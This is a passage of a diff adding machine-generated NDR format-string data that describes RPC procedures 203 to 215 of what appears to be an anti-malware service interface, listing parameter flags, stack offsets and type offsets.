Proc203_ServerDlpMpRpcDlpIsPrintDetoursNeeded */ + +/* 11602 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11604 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11608 */ NdrFcShort( 0xcb ), /* 203 */ +/* 11610 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11612 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11614 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11616 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11618 */ NdrFcShort( 0x40 ), /* 64 */ +/* 11620 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 11622 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11624 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11626 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11628 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11630 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11632 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11634 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11636 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 11638 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11640 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11642 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11644 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11646 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11648 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc204_ServerMpRpcConfigRefresh */ + +/* 11650 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11652 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11656 */ NdrFcShort( 0xcc ), /* 204 */ +/* 11658 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11660 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11662 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11664 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11666 */ NdrFcShort( 0x24 ), /* 36 */ +/* 11668 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 11670 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11672 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11674 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11676 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11678 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11680 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 11682 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11684 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 11686 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11688 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11690 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11692 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11694 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11696 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc205_ServerMpServiceLogMessage */ + +/* 11698 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11700 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11704 */ NdrFcShort( 0xcd ), /* 205 */ +/* 11706 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11708 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11710 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11712 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11714 */ NdrFcShort( 0x24 ), /* 36 */ +/* 11716 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 11718 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11720 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11722 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11724 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11726 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11728 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 11730 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11732 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 11734 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11736 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11738 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11740 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11742 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11744 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc206_ServerMpRpcDeviceControlValidateDataDuplicationRemoteLocationConfiguration */ + +/* 11746 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11748 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11752 */ NdrFcShort( 0xce ), /* 206 */ +/* 11754 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 11756 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11758 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11760 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11762 */ NdrFcShort( 0x24 ), /* 36 */ +/* 11764 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 11766 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11768 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11770 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11772 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11774 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11776 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 11778 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11780 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 11782 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 11784 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11786 */ NdrFcShort( 0xdac ), /* Type Offset=3500 */ + + /* Parameter arg_3 */ + +/* 11788 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11790 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11792 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11794 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11796 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11798 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc207_ServerMpRpcDlpGetEvidenceFileUrl */ + +/* 11800 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11802 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11806 */ NdrFcShort( 0xcf ), /* 207 */ +/* 11808 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */ +/* 11810 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11812 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11814 */ NdrFcShort( 0x10 ), /* 16 */ +/* 11816 */ NdrFcShort( 0x24 ), /* 36 */ +/* 11818 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ + 0x9, /* 9 */ +/* 11820 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11822 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11824 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11826 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11828 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11830 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 11832 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11834 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 11836 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 11838 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11840 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_3 */ + +/* 11842 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 11844 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11846 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 11848 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 11850 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11852 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_5 */ + +/* 11854 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 11856 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 11858 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_6 */ + +/* 11860 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 11862 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 11864 */ NdrFcShort( 0xdac ), /* Type Offset=3500 */ + + /* Parameter arg_7 */ + +/* 11866 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 11868 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 11870 */ NdrFcShort( 0xdac ), /* Type Offset=3500 */ + + /* Parameter arg_8 */ + +/* 11872 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11874 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 11876 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11878 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11880 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 11882 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc208_ServerMpRpcDlpCheckAccessForBuffer */ + +/* 11884 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11886 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11890 */ NdrFcShort( 0xd0 ), /* 208 */ +/* 11892 */ NdrFcShort( 0x58 ), /* X64 Stack size/offset = 88 */ +/* 11894 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11896 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11898 */ NdrFcShort( 0x10 ), /* 16 */ +/* 11900 */ NdrFcShort( 0x40 ), /* 64 */ +/* 11902 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ + 0xa, /* 10 */ +/* 11904 */ 0xa, /* 10 */ + 0x7, /* Ext Flags: new corr desc, clt corr check, srv corr check, */ +/* 11906 */ NdrFcShort( 0x1 ), /* 1 */ +/* 11908 */ NdrFcShort( 0x1 ), /* 1 */ +/* 11910 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11912 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11914 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 11916 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11918 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 11920 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 11922 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11924 */ NdrFcShort( 0x8ce ), /* Type Offset=2254 */ + + /* Parameter arg_3 */ + +/* 11926 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 11928 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11930 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 11932 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 11934 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11936 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_5 */ + +/* 11938 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11940 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 11942 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 11944 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 11946 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 11948 */ NdrFcShort( 0x6c4 ), /* Type Offset=1732 */ + + /* Parameter arg_7 */ + +/* 11950 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 11952 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 11954 */ NdrFcShort( 0xdac ), /* Type Offset=3500 */ + + /* Parameter arg_8 */ + +/* 11956 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 11958 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 11960 */ NdrFcShort( 0xdac ), /* Type Offset=3500 */ + + /* Parameter arg_9 */ + +/* 11962 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11964 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 11966 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11968 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11970 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */ +/* 11972 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc209_ServerMpRpcDevVolumesProtectionState */ + +/* 11974 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11976 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11980 */ NdrFcShort( 0xd1 ), /* 209 */ +/* 11982 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11984 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11986 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11988 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11990 */ NdrFcShort( 0x40 ), /* 64 */ +/* 11992 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 11994 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11996 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11998 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12000 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12002 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12004 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12006 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12008 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 12010 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12012 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12014 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12016 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12018 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12020 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc210_ServerMpRpcQueryDevVolumeProtectionState */ + +/* 12022 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12024 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12028 */ NdrFcShort( 0xd2 ), /* 210 */ +/* 12030 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 12032 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12034 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12036 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12038 */ NdrFcShort( 0x40 ), /* 64 */ +/* 12040 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 12042 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 12044 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12046 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12048 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12050 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12052 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 12054 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12056 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 12058 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12060 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12062 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 12064 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12066 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12068 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12070 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12072 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12074 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc211_ServerMpRpcDlpDispatchAccessEvent */ + +/* 12076 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12078 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12082 */ NdrFcShort( 0xd3 ), /* 211 */ +/* 12084 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12086 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12088 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12090 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12092 */ NdrFcShort( 0x24 ), /* 36 */ +/* 12094 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 12096 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 12098 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12100 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12102 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12104 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12106 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 12108 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12110 */ NdrFcShort( 0xeda ), /* Type Offset=3802 */ + + /* Parameter arg_2 */ + +/* 12112 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12114 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12116 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12118 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12120 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12122 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc212_ServerMpRpcCheckAccessForCopyFile */ + +/* 12124 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12126 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12130 */ NdrFcShort( 0xd4 ), /* 212 */ +/* 12132 */ NdrFcShort( 0x58 ), /* X64 Stack size/offset = 88 */ +/* 12134 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12136 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12138 */ NdrFcShort( 0x28 ), /* 40 */ +/* 12140 */ NdrFcShort( 0x40 ), /* 64 */ +/* 12142 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0xa, /* 10 */ +/* 12144 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 12146 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12148 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12150 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12152 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12154 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12156 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12158 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 12160 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12162 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12164 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 12166 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12168 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12170 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 12172 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12174 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12176 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 12178 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 12180 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 12182 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_6 */ + +/* 12184 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 12186 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 12188 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_7 */ + +/* 12190 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 12192 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 12194 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_8 */ + +/* 12196 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12198 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 12200 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_9 */ + +/* 12202 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12204 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 12206 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12208 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12210 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */ +/* 12212 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc213_ServerMpRpcAsrSetHipsUserExclusionEx */ + +/* 12214 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12216 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12220 */ NdrFcShort( 0xd5 ), /* 213 */ +/* 12222 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12224 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12226 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12228 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12230 */ NdrFcShort( 0x24 ), /* 36 */ +/* 12232 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 12234 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 12236 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12238 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12240 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12242 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12244 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 12246 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12248 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 12250 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12252 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12254 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12256 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12258 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12260 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc214_ServerMpRpcGetUpToDateInfo */ + +/* 12262 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12264 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12268 */ NdrFcShort( 0xd6 ), /* 214 */ +/* 12270 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 12272 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12274 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12276 */ NdrFcShort( 0x8 ), /* 8 */ +/* 12278 */ NdrFcShort( 0x24 ), /* 36 */ +/* 12280 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 12282 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 12284 */ NdrFcShort( 0x1 ), /* 1 */ +/* 12286 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12288 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12290 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12292 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12294 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12296 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 12298 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 12300 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12302 */ NdrFcShort( 0xf10 ), /* Type Offset=3856 */ + + /* Parameter arg_3 */ + +/* 12304 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12306 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12308 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12310 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12312 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12314 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc215_ServerMpRpcSendDlpEventDataToEngine */ + +/* 12316 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12318 */ NdrFcLong( 0x0 ), /* 0 */ +/* 